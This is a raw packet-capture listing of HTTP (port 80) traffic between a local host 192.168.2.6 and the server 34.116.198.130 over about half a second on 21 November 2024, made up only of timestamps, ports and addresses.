Nov 21, 2024 14:11:27.047770023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.048556089 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.048640966 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.048664093 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.049416065 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.049453020 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.049515009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.049675941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.050328016 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.050411940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.050631046 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.051213026 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.051367998 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.051430941 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.052117109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.052170992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.052999973 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.053105116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.053139925 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.053886890 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.054018974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.054064989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.054795980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.054908037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.054928064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.055680990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.055773973 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.055847883 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.055988073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.056567907 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.056715965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.056927919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.057478905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.057602882 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.057691097 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.058368921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.058484077 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.058819056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.059281111 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.059392929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.059525967 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.060177088 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.060278893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.061059952 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.061146975 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.061178923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.061949015 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.061991930 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.062061071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.062846899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.062890053 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.062969923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.063750982 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.063786983 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.063911915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.064012051 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.064649105 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.064927101 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.065054893 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.065577984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.065686941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.066095114 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.066420078 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.066535950 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.066675901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.067358971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.067456007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.067531109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.068213940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.068336964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.069190979 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.069276094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.069313049 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.069613934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.070004940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.070120096 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.070486069 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.070904970 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.071014881 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.071252108 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.071787119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.071893930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.072623014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.072745085 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.072849035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.073169947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.073575974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.073776960 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.073841095 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.074635029 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.074691057 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.074805021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.075376034 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.075508118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.075719118 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.076277018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.076385975 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.077198982 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.077271938 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.077378035 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.077874899 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.078094959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.078159094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.078227043 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.079174042 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.079185009 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.079282045 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.079869032 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.080204964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.080821991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.080868006 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.080910921 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.081093073 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.081629992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.081789017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.082530022 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.082632065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.082633018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.082750082 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.083415031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.083491087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.083646059 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.084331036 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.084434986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.084570885 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.085226059 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.085274935 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.085880041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.086097956 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.086218119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.086987019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.087080956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.087101936 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.087335110 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.087904930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.088026047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.088270903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.088804007 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.088933945 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.089082003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.089776039 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.089926958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.090073109 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.090596914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.090733051 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.091130018 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.091453075 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.133744955 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.236797094 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.236911058 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.237046003 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.237180948 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.237267017 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.237556934 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.237946987 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.238274097 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.238393068 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.238466978 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.239058971 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.239173889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.239233017 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.239883900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.240063906 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.240367889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.240655899 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.240736961 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.240964890 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.241439104 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.241566896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.241570950 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.242254019 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.242415905 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.242628098 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.243041992 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.243110895 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.243236065 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.243850946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.243969917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.244004011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.244673014 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.244766951 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.244920015 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.245445967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.245604038 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.245687008 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.246258974 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.246342897 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.246541977 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.247010946 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.247195005 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.247232914 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.247849941 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.248027086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.248307943 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.248624086 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.248786926 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.248820066 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.249407053 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.249531031 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.249651909 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.250206947 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.250308990 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.250334978 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.250996113 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.251132011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.251307011 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.251813889 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.251888990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.251949072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.252615929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.252721071 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.253406048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.253443956 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.253479958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.253575087 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.254190922 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.254276991 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.254337072 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.255003929 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.255124092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.255158901 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.255804062 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.255919933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.255968094 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.256614923 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.256719112 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.256911993 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.257405996 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.257458925 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.257522106 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.258179903 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.258366108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.258433104 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.258970976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.259090900 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.259779930 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.259820938 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.259882927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.259924889 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.260591984 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.260840893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.260937929 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.261368990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.261511087 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.261550903 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.262192965 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.262310028 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.262454987 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.263000011 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.263113976 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.263767958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.263832092 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.263845921 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.263948917 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.264597893 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.264722109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.264929056 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.265399933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.265582085 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.265621901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.266184092 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.266314030 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.266465902 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.266984940 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.267138958 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.267338037 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.267770052 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.267896891 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.267959118 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.268563986 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.268654108 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.268699884 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.269390106 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.269484043 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.269520998 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.270172119 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.270291090 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.270586014 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.270962954 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.271004915 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.271063089 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.271766901 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.271878004 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.271887064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.272603035 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.272696972 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.272883892 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.273385048 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.273433924 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.273467064 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.274152994 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.274313927 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.274348021 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.274954081 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.275043964 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.275712967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.275794029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.276072025 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.277832985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.277976990 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.278232098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.278266907 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.278389931 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.278568029 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.279083967 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.279166937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.279798985 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.280071974 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.430855989 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.431004047 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.431291103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.431488037 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.431490898 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.431610107 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.432073116 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.432193041 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.432636023 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.432823896 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.432949066 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.433643103 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.433752060 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.433893919 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.434024096 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.434433937 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.434500933 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.434756041 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.435307980 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.435408115 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.435529947 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.436074018 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.436171055 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.436578989 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.436870098 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.436983109 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.437283039 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.437658072 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.437789917 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.438199997 CET	49903	80	192.168.2.6	34.116.198.130
Nov 21, 2024 14:11:27.438452959 CET	80	49903	34.116.198.130	192.168.2.6
Nov 21, 2024 14:11:27.438563108 CET	80	49903	34.116.198.130	192.168.2.6
